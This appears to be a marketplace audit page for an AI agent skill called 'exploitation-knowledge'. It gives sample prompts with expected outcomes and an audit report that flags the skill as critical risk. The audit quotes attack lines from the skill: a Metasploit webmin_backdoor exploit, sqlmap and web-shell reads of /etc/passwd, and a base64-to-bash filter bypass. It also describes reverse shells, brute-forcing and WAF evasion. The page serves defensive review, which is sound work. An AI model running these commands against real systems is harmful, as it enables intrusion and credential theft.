Test it
Using "exploitation-knowledge". Summarize the skill for a training coordinator.
Expected outcome:
The skill explains exploit discovery, payload selection, shell handling, and post-access verification. It should be limited to supervised labs because it includes actionable attack procedures.
Using "exploitation-knowledge". Find the highest-risk content areas.
Expected outcome:
- Reverse shell payloads and listener setup create direct shell access risk.
- Metasploit and exploit download steps enable practical compromise workflows.
- System file reads and flag capture steps encourage post-compromise data collection.
Using "exploitation-knowledge". Rewrite the topic for defenders.
Expected outcome:
Frame the workflow as detection engineering. Focus on web shell indicators, unusual outbound connections, command injection telemetry, and controls for credential misuse.
Security Audit
Criticalv9 • 7/9/2026 Open versioned report
AI adjudication confirms that the skill is an operational exploitation playbook with reverse shells, Metasploit usage, command injection, credential testing, system file reads, and flag capture. Several markdown-only detections were marked false positive, but the confirmed static findings and semantic findings show high misuse potential. No prompt injection attempt was found in SKILL.md.

Malware type keywords
msfconsole -q -x "use exploit/linux/http/webmin_backdoor; set RHOSTS 10.10.10.1; set LHOST YOUR_IP;
The Metasploit command selects a webmin_backdoor exploit module and configures a target and listener. This is direct backdoor exploitation guidance.
Critical
System password file access
sqlmap -u "http://TARGET/page.php?id=1" --file-read=/etc/passwd
The line directs reading /etc/passwd through SQLi, command injection, or a web shell. Accessing system password files after exploitation is a critical post-compromise behavior.

Critical
System password file access
# Try: cat /etc/passwd
The line directs reading /etc/passwd through SQLi, command injection, or a web shell. Accessing system password files after exploitation is a critical post-compromise behavior.
Critical
System password file access
curl http://TARGET/shell.php?cmd=cat+/etc/passwd
The line directs reading /etc/passwd through SQLi, command injection, or a web shell. Accessing system password files after exploitation is a critical post-compromise behavior.
Critical
Base64 decode to shell
- Base64: echo BASE64 | base64 -d | bash
The line recommends decoding Base64 and piping it to bash as a filter bypass. That is payload evasion for command execution.
Critical
End-to-End Initial Access Workflow
The skill states that it converts vulnerabilities into access, establishes shells, and captures user flags. This is an operational compromise workflow, not only conceptual security education.
The purpose and success criteria explicitly include command execution, shell access, and user flag capture. Those goals confirm offensive intent beyond individual command patterns.
Critical
Payload Evasion and Filter Bypass Guidance
The skill instructs users to adapt payloads when special characters, keywords, WAFs, or IDS controls block commands. This supports evasion of protective controls during exploitation.
The lines explicitly discuss encoding, command alternatives, WAF or IDS blocking, and slower approaches after timeouts. This is high-confidence evasion intent.
Critical
Post-Compromise Data Capture Workflow
The skill directs users to locate, read, verify, and store user flag data after command execution. The output format also records user access and captured flag values.
The workflow repeatedly references finding user.txt, reading it, storing it, and reporting it as successful exploitation. This is explicit post-compromise data collection.
High
Network reconnaissance
- cat → head, tail, nl, more, less
The line provides alternatives such as /dev/tcp, telnet, or socat to keep network shell capability when commands are filtered. The category is broad, but the exploitation support is real.
High
Credential Abuse Guidance
The skill recommends hydra and default credential testing for SSH, FTP, MySQL, and web administration panels. This guidance can enable unauthorized credential attacks outside an approved lab.
The cited lines name brute-force tooling and give service-specific default credential attempts. The context is initial access, which makes the misuse risk clear.

Critical
Unix shell invocation

What You Can Build
Review Lab Exploitation Steps
Map a controlled training exercise from vulnerability discovery through initial access and post-access verification.
Audit Offensive Playbooks
Identify dangerous exploitation content that should be removed, rewritten, or restricted before publication.
Prepare Defensive Detections
Translate listed exploitation behaviors into detection ideas for reverse shells, web shells, and command injection.
Try These Prompts
Summarize Safe Learning Goals
Summarize this skill for a controlled security training lab. Focus on learning goals, safety boundaries, and defensive review points.
Identify Risky Sections
Review this skill and list sections that contain actionable exploitation, shell access, credential abuse, or data capture guidance.
Convert to Defensive Guidance
Convert the exploitation workflow into defensive monitoring guidance. Emphasize indicators, logs, controls, and authorized testing limits.
Build a Publication Remediation Plan
Create a remediation plan that removes executable attack steps, preserves high-level education, and adds scope, authorization, and detection framing.
Best Practices
- Use this content only for authorized labs, controlled audits, or defensive content review.
- Convert offensive procedures into detection logic and mitigation guidance before broad sharing.
- Remove executable payloads and target interaction steps before publishing educational material.
Avoid
- Using the skill to gain access to systems without explicit written authorization.
- Publishing reverse shell payloads, exploit execution steps, or file-read commands without restrictions.
- Treating flag capture, credential testing, or shell stabilization as acceptable general-purpose automation.
Frequently Asked Questions
Is this skill safe for automatic installation?
No. It contains actionable exploitation guidance and should require strict review before any use.
What is the main security concern?
The skill provides practical steps for exploit discovery, shell access, command injection, and post-access data capture.
Can it be used for defensive work?
Yes, if the content is reframed for detection, mitigation, and authorized lab analysis.
Does the skill enforce authorization checks?
No. It does not include scope validation, consent checks, or technical controls that prevent misuse.
What should be removed before publication?
Executable exploit commands, reverse shell payloads, file-read steps, flag capture workflows, and evasion instructions should be removed.
Who should review this skill?
A security reviewer with offensive security knowledge should review it before marketplace distribution.
